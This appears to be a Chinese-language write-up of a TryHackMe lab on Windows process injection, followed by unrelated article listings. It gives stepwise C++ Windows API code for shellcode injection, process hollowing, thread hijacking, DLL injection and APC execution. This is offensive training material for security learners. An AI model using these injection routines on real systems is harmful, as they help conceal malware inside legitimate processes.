tryhackme——Abusing Windows Internals(进程注入)

文章目录

  • 一、Abusing Processes
  • 二、进程镂空
  • 三、线程劫持
  • 四、DLL注入
  • 五、Memory Execution Alternatives

一、Abusing Processes

操作系统上运行的应用程序可以包含一个或多个进程,进程表示正在执行的程序。进程包含许多其他子组件,并且直接与内存或虚拟内存交互,下表描述了进程的每个关键组件及其用途。

Process ComponentPurpose
私有虚拟地址空间进程分配的虚拟内存地址
可执行程序存储在虚拟地址空间中的代码和数据
打开句柄(open handle)定义进程可访问的系统资源句柄
安全上下文访问令牌定义用户、安全组、权限和其他安全信息
进程 ID进程的唯一数字标识符
线程进程中计划执行的部分

进程注入指通过合法功能或组件将恶意代码注入进程。下面将重点介绍以下四种不同类型的进程注入。

进程注入类型功能
Process Hollowing(进程镂空创建一个目标进程(通常是合法进程,如svchost.exe)并将其主模块(如exe映像)从内存中“挖空”(替换为恶意代码)。
Thread Execution Hijacking(线程执行劫持)挂起目标进程的某个线程,修改其上下文(如指令指针EIP/RIP)指向注入的恶意代码,恢复线程后执行恶意逻辑。
Dynamic-link Library Injection(DLL注入)将恶意DLL加载到目标进程内存中,并通过远程线程(如LoadLibrary调用)或修改导入表使其执行。
Portable Executable Injection(PE注入)将恶意可执行文件(PE)的映像直接写入目标进程内存,并手动执行(无需通过LoadLibrary)。

进程注入采用Shellcode注入的形式,可以分为四个步骤:

  • 打开一个拥有所有访问权限的目标进程。
  • 为Shellcode分配目标进程内存。
  • 将Shellcode写入目标进程中已分配的内存。
  • 使用远程线程执行Shellcode。

上述步骤也可以图形化地分解,以描述Windows API调用如何与进程内存交互。
在这里插入图片描述

实现一个基本shellcode注入器的基本步骤如下:

1、通过OpenProcess获取目标进程的句柄(handle);

processHandle = OpenProcess(PROCESS_ALL_ACCESS, // Defines access rightsFALSE, // Target handle will not be inheretedDWORD(atoi(argv[1])) // Local process supplied by command-line arguments 
);

2、使用VirtualAllocEx在目标进程中分配内存 ;

remoteBuffer = VirtualAllocEx(processHandle, // Opened target processNULL, sizeof shellcode, // Region size of memory allocation(MEM_RESERVE | MEM_COMMIT), // Reserves and commits pagesPAGE_EXECUTE_READWRITE // Enables execution and read/write access to the commited pages
);

3、使用WriteProcessMemory在目标内存中写入Shellcode;

WriteProcessMemory(processHandle, // Opened target processremoteBuffer, // Allocated memory regionshellcode, // Data to writesizeof shellcode, // byte size of dataNULL
);

4、使用CreateRemoteThread执行Shellcode;

remoteThread = CreateRemoteThread(processHandle, // Opened target processNULL, 0, // Default size of the stack(LPTHREAD_START_ROUTINE)remoteBuffer, // Pointer to the starting address of the threadNULL, 0, // Ran immediately after creationNULL
);

二、进程镂空

Process Hollowing是进程注入的一种方法,能够将整个恶意文件注入进程,具体则是hollowing或取消进程映射,并将特定的 PE(可移植可执行文件)数据和段注入进程。其大致可分为六个步骤:

  1. 创建一个处于挂起状态的目标进程;
  2. 打开恶意映像;
  3. 从进程内存中取消合法代码的映射;
  4. 为恶意代码分配内存位置,并将每个段写入地址空间;
  5. 设置恶意代码的入口点;
  6. 使目标进程退出挂起状态。

该过程可用下图表示:
在这里插入图片描述
实现Process Hollowing的基本步骤如下:

1、启动一个合法进程(如svchost.exe),但主线程处于挂起状态,此时进程内存已初始化但未执行代码。

LPSTARTUPINFOA target_si = new STARTUPINFOA(); // Defines station, desktop, handles, and appearance of a process
LPPROCESS_INFORMATION target_pi = new PROCESS_INFORMATION(); // Information about the process and primary thread
CONTEXT c; // Context structure pointerif (CreateProcessA((LPSTR)"C:\\\\Windows\\\\System32\\\\svchost.exe", // Name of module to executeNULL,NULL,NULL,TRUE, // Handles are inherited from the calling processCREATE_SUSPENDED, // New process is suspendedNULL,NULL,target_si, // pointer to startup infotarget_pi) == 0) { // pointer to process informationcout << "[!] Failed to create Target process. Last Error: " << GetLastError();return 1;

2、使用CreateFileA获取恶意映像的句柄。

HANDLE hMaliciousCode = CreateFileA((LPCSTR)"C:\\\\Users\\\\tryhackme\\\\malware.exe", // Name of image to obtainGENERIC_READ, // Read-only accessFILE_SHARE_READ, // Read-only share modeNULL,OPEN_EXISTING, // Instructed to open a file or device if it existsNULL,NULL
);

3、一旦获取到恶意映像的句柄,就必须使用VirtualAlloc为恶意文件分配本地内存,GetFileSize函数也用于检索恶意映像所需内存大小。

DWORD maliciousFileSize = GetFileSize(hMaliciousCode, // Handle of malicious image0 // Returns no error
);PVOID pMaliciousImage = VirtualAlloc(NULL,maliciousFileSize, // File size of malicious image0x3000, // Reserves and commits pages (MEM_RESERVE | MEM_COMMIT)0x04 // Enables read/write access (PAGE_READWRITE)
);

4、写入恶意文件

DWORD numberOfBytesRead; // Stores number of bytes readif (!ReadFile(hMaliciousCode, // Handle of malicious imagepMaliciousImage, // Allocated region of memorymaliciousFileSize, // File size of malicious image&numberOfBytesRead, // Number of bytes readNULL)) {cout << "[!] Unable to read Malicious file into memory. Error: " <<GetLastError()<< endl;TerminateProcess(target_pi->hProcess, 0);return 1;
}CloseHandle(hMaliciousCode);

5、通过线程上下文获取PEB地址,进而读取原始EXE的基址。

CPU 寄存器 EAX(入口点)和 EBX(PEB 位置)包含我们需要获取的信息;这些信息可以通过使用GetThreadContext找到。找到这两个寄存器后,使用ReadProcessMemory从 EBX 获取基址,并通过检查 PEB 获得偏移量 (0x8)。

c.ContextFlags = CONTEXT_INTEGER; // Only stores CPU registers in the pointer
GetThreadContext(target_pi->hThread, // Handle to the thread obtained from the PROCESS_INFORMATION structure&c // Pointer to store retrieved context
); // Obtains the current thread contextPVOID pTargetImageBaseAddress; 
ReadProcessMemory(target_pi->hProcess, // Handle for the process obtained from the PROCESS_INFORMATION structure(PVOID)(c.Ebx + 8), // Pointer to the base address&pTargetImageBaseAddress, // Store target base address sizeof(PVOID), // Bytes to read 0 // Number of bytes out
);

6、清空目标进程的原始代码/数据,形成“空洞”。可以使用从ntdll.dll导入的ZwUnmapViewOfSection来释放目标进程的内存

HMODULE hNtdllBase = GetModuleHandleA("ntdll.dll"); // Obtains the handle for ntdll
pfnZwUnmapViewOfSection pZwUnmapViewOfSection = (pfnZwUnmapViewOfSection)GetProcAddress(hNtdllBase, // Handle of ntdll"ZwUnmapViewOfSection" // API call to obtain
); // Obtains ZwUnmapViewOfSection from ntdllDWORD dwResult = pZwUnmapViewOfSection(target_pi->hProcess, // Handle of the process obtained from the PROCESS_INFORMATION structurepTargetImageBaseAddress // Base address of the process
);

7、在Hollowed进程中为恶意进程分配内存。

PIMAGE_DOS_HEADER pDOSHeader = (PIMAGE_DOS_HEADER)pMaliciousImage; // Obtains the DOS header from the malicious image
PIMAGE_NT_HEADERS pNTHeaders = (PIMAGE_NT_HEADERS)((LPBYTE)pMaliciousImage + pDOSHeader->e_lfanew); // Obtains the NT header from e_lfanewDWORD sizeOfMaliciousImage = pNTHeaders->OptionalHeader.SizeOfImage; // Obtains the size of the optional header from the NT header structurePVOID pHollowAddress = VirtualAllocEx(target_pi->hProcess, // Handle of the process obtained from the PROCESS_INFORMATION structurepTargetImageBaseAddress, // Base address of the processsizeOfMaliciousImage, // Byte size obtained from optional header0x3000, // Reserves and commits pages (MEM_RESERVE | MEM_COMMIT)0x40 // Enabled execute and read/write access (PAGE_EXECUTE_READWRITE)
);

8、一旦分配了内存,将恶意PE头写入内存;

if (!WriteProcessMemory(target_pi->hProcess, // Handle of the process obtained from the PROCESS_INFORMATION structurepTargetImageBaseAddress, // Base address of the processpMaliciousImage, // Local memory where the malicious file residespNTHeaders->OptionalHeader.SizeOfHeaders, // Byte size of PE headers NULL
)) {cout<< "[!] Writting Headers failed. Error: " << GetLastError() << endl;
}

9、写入恶意进程的各节区;

for (int i = 0; i < pNTHeaders->FileHeader.NumberOfSections; i++) { // Loop based on number of sections in PE dataPIMAGE_SECTION_HEADER pSectionHeader = (PIMAGE_SECTION_HEADER)((LPBYTE)pMaliciousImage + pDOSHeader->e_lfanew + sizeof(IMAGE_NT_HEADERS) + (i * sizeof(IMAGE_SECTION_HEADER))); // Determines the current PE section headerWriteProcessMemory(target_pi->hProcess, // Handle of the process obtained from the PROCESS_INFORMATION structure(PVOID)((LPBYTE)pHollowAddress + pSectionHeader->VirtualAddress), // Base address of current section (PVOID)((LPBYTE)pMaliciousImage + pSectionHeader->PointerToRawData), // Pointer for content of current sectionpSectionHeader->SizeOfRawData, // Byte size of current sectionNULL);
}

10、使用SetThreadContext将EAX更改为指向恶意入口点;

c.Eax = (SIZE_T)((LPBYTE)pHollowAddress + pNTHeaders->OptionalHeader.AddressOfEntryPoint); // Set the context structure pointer to the entry point from the PE optional headerSetThreadContext(target_pi->hThread, // Handle to the thread obtained from the PROCESS_INFORMATION structure&c // Pointer to the stored context structure
);

11、使用ResumeThread将进程从挂起状态中唤醒。

ResumeThread(target_pi->hThread // Handle to the thread obtained from the PROCESS_INFORMATION structure
);

三、线程劫持

线程劫持可分为10个步骤:

  1. 定位并打开要控制的目标进程。
  2. 为恶意代码分配内存区域。
  3. 将恶意代码写入分配的内存。
  4. 识别要劫持的目标线程的线程 ID。
  5. 打开目标线程。
  6. 暂停目标线程。
  7. 获取线程上下文。
  8. 将指令指针更新为恶意代码。
  9. 重写目标线程上下文。
  10. 恢复被劫持的线程。

1、前三个步骤与常规进程注入步骤相同,可参考一下代码:

// 打开目标进程
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, // Requests all possible access rightsFALSE, // Child processes do not inheret parent process handleprocessId // Stored process ID
);// 为恶意代码分配内存区域
PVOIF remoteBuffer = VirtualAllocEx(hProcess, // Opened target processNULL, sizeof shellcode, // Region size of memory allocation(MEM_RESERVE | MEM_COMMIT), // Reserves and commits pagesPAGE_EXECUTE_READWRITE // Enables execution and read/write access to the commited pages
);// 将恶意代码写入分配的内存
WriteProcessMemory(processHandle, // Opened target processremoteBuffer, // Allocated memory regionshellcode, // Data to writesizeof shellcode, // byte size of dataNULL
);

2、通过识别线程ID来开始劫持进程线程。为了识别线程ID,我们需要使用三个Windows API调用:CreateToolhelp32Snapshot()Thread32First()Thread32Next()

THREADENTRY32 threadEntry;HANDLE hSnapshot = CreateToolhelp32Snapshot( // Snapshot the specificed processTH32CS_SNAPTHREAD, // Include all processes residing on the system0 // Indicates the current process
);
Thread32First( // Obtains the first thread in the snapshothSnapshot, // Handle of the snapshot&threadEntry // Pointer to the THREADENTRY32 structure
);while (Thread32Next( // Obtains the next thread in the snapshotsnapshot, // Handle of the snapshot&threadEntry // Pointer to the THREADENTRY32 structure
)) {

3、打开目标线程

if (threadEntry.th32OwnerProcessID == processID) // Verifies both parent process ID's match{HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, // Requests all possible access rightsFALSE, // Child threads do not inheret parent thread handlethreadEntry.th32ThreadID // Reads the thread ID from the THREADENTRY32 structure pointer);break;}

4、使用SuspendThread挂起目标线程

SuspendThread(hThread);

5、获取线程上下文;

CONTEXT context;
GetThreadContext(hThread, // Handle for the thread &context // Pointer to store the context structure
);

6、劫持目标线程执行流。线程恢复执行时,CPU将从Rip指向的地址(即Shellcode)开始执行,而非原代码逻辑。

context.Rip = (DWORD_PTR)remoteBuffer; // Points RIP to our malicious buffer allocation

7、更新目标线程上下文;

SetThreadContext(hThread, // Handle for the thread &context // Pointer to the context structure
);

8、重启线程;

ResumeThread(hThread // Handle for the thread
);

四、DLL注入

DLL注入总体可分为5个步骤:

  1. 找到要注入的目标进程。
  2. 打开目标进程。
  3. 为恶意 DLL 分配内存区域。
  4. 将恶意 DLL 写入分配的内存。
  5. 加载并执行恶意 DLL。

1、在 DLL 注入的第一步中,我们必须定位目标进程。可以使用如下三个Windows API函数:CreateToolhelp32Snapshot()Process32First()Process32Next()

DWORD getProcessId(const char *processName) {HANDLE hSnapshot = CreateToolhelp32Snapshot( // Snapshot the specificed processTH32CS_SNAPPROCESS, // Include all processes residing on the system0 // Indicates the current process);if (hSnapshot) {PROCESSENTRY32 entry; // Adds a pointer to the PROCESSENTRY32 structureentry.dwSize = sizeof(PROCESSENTRY32); // Obtains the byte size of the structureif (Process32First( // Obtains the first process in the snapshothSnapshot, // Handle of the snapshot&entry // Pointer to the PROCESSENTRY32 structure)) {do {if (!strcmp( // Compares two strings to determine if the process name matchesentry.szExeFile, // Executable file name of the current process from PROCESSENTRY32processName // Supplied process name)) { return entry.th32ProcessID; // Process ID of matched process}} while (Process32Next( // Obtains the next process in the snapshothSnapshot, // Handle of the snapshot&entry)); // Pointer to the PROCESSENTRY32 structure}}DWORD processId = getProcessId(processName); // Stores the enumerated process ID

2、使用GetModuleHandle、GetProcAddress或OpenProcess打开该进程。

HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, // Requests all possible access rightsFALSE, // Child processes do not inheret parent process handleprocessId // Stored process ID
);

3、使用VirtualAllocEx为恶意 DLL 分配内存。

LPVOID dllAllocatedMemory = VirtualAllocEx(hProcess, // Handle for the target processNULL, strlen(dllLibFullPath), // Size of the DLL pathMEM_RESERVE | MEM_COMMIT, // Reserves and commits pagesPAGE_EXECUTE_READWRITE // Enables execution and read/write access to the commited pages
);

4、使用WriteProcessMemory将恶意DLL写入分配的内存位置。

WriteProcessMemory(hProcess, // Handle for the target processdllAllocatedMemory, // Allocated memory regiondllLibFullPath, // Path to the malicious DLLstrlen(dllLibFullPath) + 1, // Byte size of the malicious DLLNULL
);

5、恶意 DLL 被写入内存后,加载并执行它。要加载该 DLL,我们需要使用从kernel32导入的LoadLibrary函数。加载完成后,可以使用CreateRemoteThread函数,以LoadLibrary作为启动函数来执行内存。

LPVOID loadLibrary = (LPVOID) GetProcAddress(GetModuleHandle("kernel32.dll"), // Handle of the module containing the call"LoadLibraryA" // API call to import
);
HANDLE remoteThreadHandler = CreateRemoteThread(hProcess, // Handle for the target processNULL, 0, // Default size from the execuatable of the stack(LPTHREAD_START_ROUTINE) loadLibrary, pointer to the starting functiondllAllocatedMemory, // pointer to the allocated memory region0, // Runs immediately after creationNULL
);

五、Memory Execution Alternatives

shellcode执行技术:

1、调用函数指针(Invoking Function Pointers
void 函数指针是一种非常新颖的内存块执行方法,它完全依赖于类型转换。这种技术只能在本地分配的内存中执行,但不依赖于任何API 调用或其他系统功能。

下面的单行代码是 void 函数指针最常见的形式,但我们可以进一步分解它来解释它的组成部分。
在这里插入图片描述

  • 创建一个函数指针 (void(*)()红色框出
  • 将分配的内存指针或 shellcode 数组强制转换为函数指针 (<function pointer>)addressPointer)黄色框出
  • 调用函数指针执行shellcode();绿色框出

2、异步过程调用(Asynchronous Procedure Calls

异步过程调用 (APC) 是在特定线程上下文中异步执行的函数。APC函数通过 QueueUserAPC排队到线程。排队后,APC函数将触发软件中断,并在下次线程调度时执行该函数。

为了让用户态/用户模式应用程序将APC函数排队,线程必须处于“可警告状态”。可警告状态要求线程等待回调函数,例如WaitForSingleObjectSleep

现在我们了解了什么是 APC 函数,接下来看看它们是如何被恶意利用的!我们将使用VirtualAllocExWriteProcessMemory来分配和写入内存。

QueueUserAPC((PAPCFUNC)addressPointer, // APC function pointer to allocated memory defined by winntpinfo.hThread, // Handle to thread from PROCESS_INFORMATION structure(ULONG_PTR)NULL);
ResumeThread(pinfo.hThread // Handle to thread from PROCESS_INFORMATION structure
);
WaitForSingleObject(pinfo.hThread, // Handle to thread from PROCESS_INFORMATION structureINFINITE // Wait infinitely until alerted
);

3、PE节区操纵(Section Manipulation

核心思想:利用PE文件的节区(如.text、.data)存储恶意代码,通过修改入口点或节区属性实现执行

PE格式定义了 Windows 中可执行文件的结构和格式。为了执行,我们主要关注节,特别是 .data 和 .text 节,此外,表和指向节的指针也常用于执行数据。

要开始使用任何节操作技术,我们需要获取 PE 转储。获取 PE 转储通常是通过将 DLL 或其他恶意文件输入到 xxd 中来实现的。每种方法的核心都是使用数学运算来遍历物理十六进制数据,并将其转换为 PE 数据。一些较为常见的技术包括 RVA 入口点解析、节映射和重定位表解析。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.pswp.cn/bicheng/83589.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

[蓝桥杯]密码脱落

密码脱落 题目描述 X 星球的考古学家发现了一批古代留下来的密码。 这些密码是由 A、B、C、D 四种植物的种子串成的序列。 仔细分析发现&#xff0c;这些密码串当初应该是前后对称的&#xff08;也就是我们说的镜像串&#xff09;。 由于年代久远&#xff0c;其中许多种子…

Python绘图库及图像类型

折线图&#xff08;plot&#xff09; 绘图库介绍 Python中绘制折线图的全面指南_python绘制折线图-CSDN博客https://blog.csdn.net/2301_81064905/article/details/139689644 核心作用说明趋势分析揭示数据随时间推移的上升/下降趋势、周期性波动或转折点变化对比在单一图表…

4种常见Python设计爱心创意实现方法

在Python中设计爱心创意有多种实现方式&#xff0c;以下介绍4种常见方法&#xff0c;并附上完整代码&#xff1a; 方法1&#xff1a;使用数学方程绘制&#xff08;Matplotlib&#xff09; ​​原理​​&#xff1a;使用参数方程绘制心形曲线 ​​效果​​&#xff1a;光滑的数…

【Unity】R3 CSharp 响应式编程 - 使用篇(二)

一、通用的事件监听用法 using System;using R3;using UnityEngine;namespace Aladdin.Standard.Observable.Common{public class CommonObservable : MonoBehaviour{// 默认会调用1次public SerializableReactiveProperty<int> serializableReactiveProperty;…

【原理解析】为什么显示器Fliker dB值越大,闪烁程度越轻?

显示器Fliker 1 显示器闪烁现象说明2 Fliker量测方法2.1 FMA法2.2 JEITA法问题答疑&#xff1a;为什么显示器Fliker dB值越大&#xff0c;闪烁程度越轻&#xff1f; 3 参考文献 1 显示器闪烁现象说明 当一个光源闪烁超过每秒10次以上就可在人眼中产生视觉残留&#xff0c;此时…

3.需求分析与测试用例设计方法

设计方法 测试点 定义: 测试时需要考虑的可测试方面&#xff0c;不同公司可能称为"检查点"或其它名称特点: 是需求分析的最后一个环节&#xff0c;用于解决"测哪里"和"怎么测"的问题举例说明: 如同打架时的各种招数&#xff0c;如直接约架、设…

IEC 61347-1:2015 灯控制装置安全标准详解

IEC 61347-1:2015灯控制装置安全标准详解 IEC 61347-1:2015 是国际电工委员会&#xff08;IEC&#xff09;发布的灯控制装置第1部分&#xff1a;通用要求和安全要求的核心标准&#xff0c;为各类照明用电子控制设备设定了全球通用的安全基准。该标准适用于独立式或内置于灯具/…

从 GPT 的发展看大模型的演进

这是一个技术爆炸的时代。一起来看看 GPT 诞生后&#xff0c;与BERT 的角逐。 BERT 和 GPT 是基于 Transformer 模型架构的两种不同类型的预训练语言模型。它们之间的角逐可以从 Transformer 的编码解码结构角度来分析。 BERT&#xff08;Bidirectional Encoder Representatio…

多目标粒子群优化算法(MOPSO),用于解决无人机三维路径规划问题,Matlab代码实现

多目标粒子群优化算法&#xff08;MOPSO&#xff09;&#xff0c;用于解决无人机三维路径规划问题&#xff0c;Matlab代码实现 目录 多目标粒子群优化算法&#xff08;MOPSO&#xff09;&#xff0c;用于解决无人机三维路径规划问题&#xff0c;Matlab代码实现效果一览基本介绍…

贪心算法应用:集合覆盖问题详解

贪心算法与集合覆盖问题详解 贪心算法在组合优化问题中展现出独特优势&#xff0c;集合覆盖问题&#xff08;Set Cover Problem&#xff09;是其中的经典案例。本文将用2万字全面解析贪心算法在集合覆盖/划分中的应用&#xff0c;涵盖算法原理、正确性分析、Java实现、复杂度证…

MCP:让AI工具协作变得像聊天一样简单 [特殊字符]

想象一下,你正在处理一个项目,需要从A平台查看团队讨论,从B平台获取客户信息,还要在GitHub上检查代码进度。传统做法是什么?打开三个不同的网页,在各个平台间来回切换,复制粘贴数据,最后还可能因为信息分散而遗漏重要细节。 听起来很熟悉?这正是当前工作流程的痛点所…

docker不用dockerfile

好的&#xff01;既然你不想使用 Dockerfile&#xff0c;我们就完全不写 Dockerfile&#xff0c;改用你 Leader 提到的思路&#xff1a; 用基础镜像启动一个容器 → 手动在容器里安装依赖和复制项目 → 保存为新镜像 这个方式更直观&#xff0c;就像“你进入容器自己配置环境&a…

React与Vue核心区别对比

React 和 Vue 都是当今最流行、功能强大的前端 JavaScript 框架&#xff0c;用于构建用户界面。它们有很多相似之处&#xff08;比如组件化、虚拟 DOM、响应式数据绑定&#xff09;&#xff0c;但也存在一些核心差异。以下是它们的主要区别&#xff1a; 1. 核心设计与哲学 Rea…

强化学习-深度学习和强化学习领域

在深度学习和强化学习领域&#xff0c;SFT&#xff08;Supervised Fine-Tuning&#xff09; 和 GRPO&#xff08;可能指 Gradient-based Policy Optimization 或 Reinforcement Learning with Policy Optimization&#xff09;是两种不同的训练范式&#xff0c;常用于模型微调或…

在 ABP VNext 中集成 Serilog:打造可观测、结构化日志系统

&#x1f680; 在 ABP VNext 中集成 Serilog&#xff1a;打造可观测、结构化日志系统 &#x1f4da; 目录 &#x1f680; 在 ABP VNext 中集成 Serilog&#xff1a;打造可观测、结构化日志系统1. 为什么要使用结构化日志&#xff1f; &#x1f914;2. 核心集成步骤 &#x1f6e…

API异常信息如何实时发送到钉钉

#背景 对于一些重要的API&#xff0c;开发人员会非常关注API有没有报错&#xff0c;为了方便开发人员第一时间获取错误信息&#xff0c;我们可以使用插件来将API报错实时发送到钉钉群。 接下来我们就来实操如何实现 #准备工作 #创建钉钉群 如果已有钉钉群&#xff0c;可以跳…

Stone 3D新版本发布,添加玩家控制和生物模拟等组件,增强路径编辑功能,优化材质编辑

后续版本号改为构建日期加小版本&#xff0c;所以最新版本为20250603.01 功能更新如下&#xff1a; 1. 改写fps-controls组件&#xff0c;简化游戏应用的创建&#xff0c;你只需要一个场景glb&#xff0c;然后给Scene节点添加fps-controls组件&#xff0c;即可完成一个第一人…

【C++11】折叠引用和完美转发

目录 一. 前言二. 引用折叠引用折叠的规则 三. 完美转发完美转发适用场景完美转发底层实现思考1思考2 一. 前言 在函数传参时&#xff0c;如果想保持某个参数的属性不改变&#xff0c;需要完美转发&#xff0c;而完美转发的实现需要折叠引用的帮助 二. 引用折叠 在语法上&am…

Vue 树状结构控件

1、效果图如下所示&#xff1a; 2、网络请求的数据结构如下&#xff1a; 3、新建插件文件&#xff1a;menu-tree.vue&#xff0c;插件代码如下&#xff1a; <template><div class"root"><div class"parent" click"onParentClick(pare…

洛谷P12610 ——[CCC 2025 Junior] Donut Shop

题目背景 Score: 15. 题目描述 The owner of a donut shop spends the day baking and selling donuts. Given the events that happen over the course of the day, your job is to determine the number of donuts remaining when the shop closes. 输入格式 The first …